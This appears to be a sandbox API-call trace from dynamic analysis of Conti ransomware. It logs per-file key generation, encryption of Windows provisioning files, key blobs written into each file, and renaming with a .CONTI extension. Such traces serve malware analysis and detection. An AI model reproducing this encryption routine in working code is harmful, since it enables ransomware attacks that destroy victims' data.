	[0110.726] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.727] GetProcessHeap () returned 0x1720000
	[0110.727] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.727] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0110.727] GetProcessHeap () returned 0x1720000
	[0110.727] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567338 | out: hHeap=0x1720000) returned 1
	[0110.727] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.727] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x656a160 | out: phKey=0x656a160*=0x17c7af0) returned 1
	[0110.727] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656a164, pdwDataLen=0x55ffb34 | out: pbData=0x656a164*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.728] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.728] GetLastError () returned 0x0
	[0110.728] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=723) returned 1
	[0110.728] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0110.728] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.728] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.729] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.729] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.729] WriteFile (in: hFile=0x3ac, lpBuffer=0x656a164*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x656a164*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.734] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.734] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2d3, lpOverlapped=0x0) returned 1
	[0110.734] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d3, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2e0) returned 1
	[0110.734] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.734] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.734] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.734] WriteFile (in: hFile=0x3ac, lpBuffer=0x656a158*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x656a158*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.734] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.734] CloseHandle (hObject=0x3ac) returned 1
	[0110.734] GetProcessHeap () returned 0x1720000
	[0110.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.734] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml"
	[0110.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.734] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.735] GetProcessHeap () returned 0x1720000
	[0110.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.735] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.735] GetProcessHeap () returned 0x1720000
	[0110.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566668 | out: hHeap=0x1720000) returned 1
	[0110.735] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.735] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x656a3a8 | out: phKey=0x656a3a8*=0x17c7af0) returned 1
	[0110.735] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656a3ac, pdwDataLen=0x55ffb34 | out: pbData=0x656a3ac*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.736] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.736] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.736] GetLastError () returned 0x0
	[0110.736] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=733) returned 1
	[0110.737] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dd
	[0110.737] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.737] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.737] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.737] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.737] WriteFile (in: hFile=0x3ac, lpBuffer=0x656a3ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x656a3ac*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.743] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.743] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2dd, lpOverlapped=0x0) returned 1
	[0110.743] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2dd, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2e0) returned 1
	[0110.743] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.743] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.744] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.744] WriteFile (in: hFile=0x3ac, lpBuffer=0x656a3a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x656a3a0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.744] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.744] CloseHandle (hObject=0x3ac) returned 1
	[0110.744] GetProcessHeap () returned 0x1720000
	[0110.744] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.744] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml"
	[0110.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.744] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.745] GetProcessHeap () returned 0x1720000
	[0110.745] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.745] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.745] GetProcessHeap () returned 0x1720000
	[0110.745] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65616b8 | out: hHeap=0x1720000) returned 1
	[0110.745] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.745] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x656ba78 | out: phKey=0x656ba78*=0x17c7bf0) returned 1
	[0110.745] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656ba7c, pdwDataLen=0x55ffb34 | out: pbData=0x656ba7c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.746] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.746] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.746] GetLastError () returned 0x0
	[0110.746] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=480) returned 1
	[0110.746] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0110.746] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.746] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.753] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.753] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.753] WriteFile (in: hFile=0x3ac, lpBuffer=0x656ba7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x656ba7c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0110.759] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.759] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.759] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1e0, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1f0) returned 1
	[0110.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.759] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x1f0, lpOverlapped=0x0) returned 1
	[0110.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.759] WriteFile (in: hFile=0x3ac, lpBuffer=0x656ba70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x656ba70*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0110.760] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.760] CloseHandle (hObject=0x3ac) returned 1
	[0110.760] GetProcessHeap () returned 0x1720000
	[0110.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.760] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0110.760] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.760] GetProcessHeap () returned 0x1720000
	[0110.761] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.761] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0110.761] GetProcessHeap () returned 0x1720000
	[0110.761] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3210 | out: hHeap=0x1720000) returned 1
	[0110.761] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0110.761] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x656acc8 | out: phKey=0x656acc8*=0x17c7ab0) returned 1
	[0110.761] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656accc, pdwDataLen=0x55ffb34 | out: pbData=0x656accc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0110.762] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.762] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0110.762] GetLastError () returned 0x0
	[0110.762] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=707) returned 1
	[0110.762] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0110.762] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.762] SetEndOfFile (hFile=0x3ac) returned 1
	[0110.765] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.765] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.765] WriteFile (in: hFile=0x3ac, lpBuffer=0x656accc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x656accc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.086] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.086] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2c3, lpOverlapped=0x0) returned 1
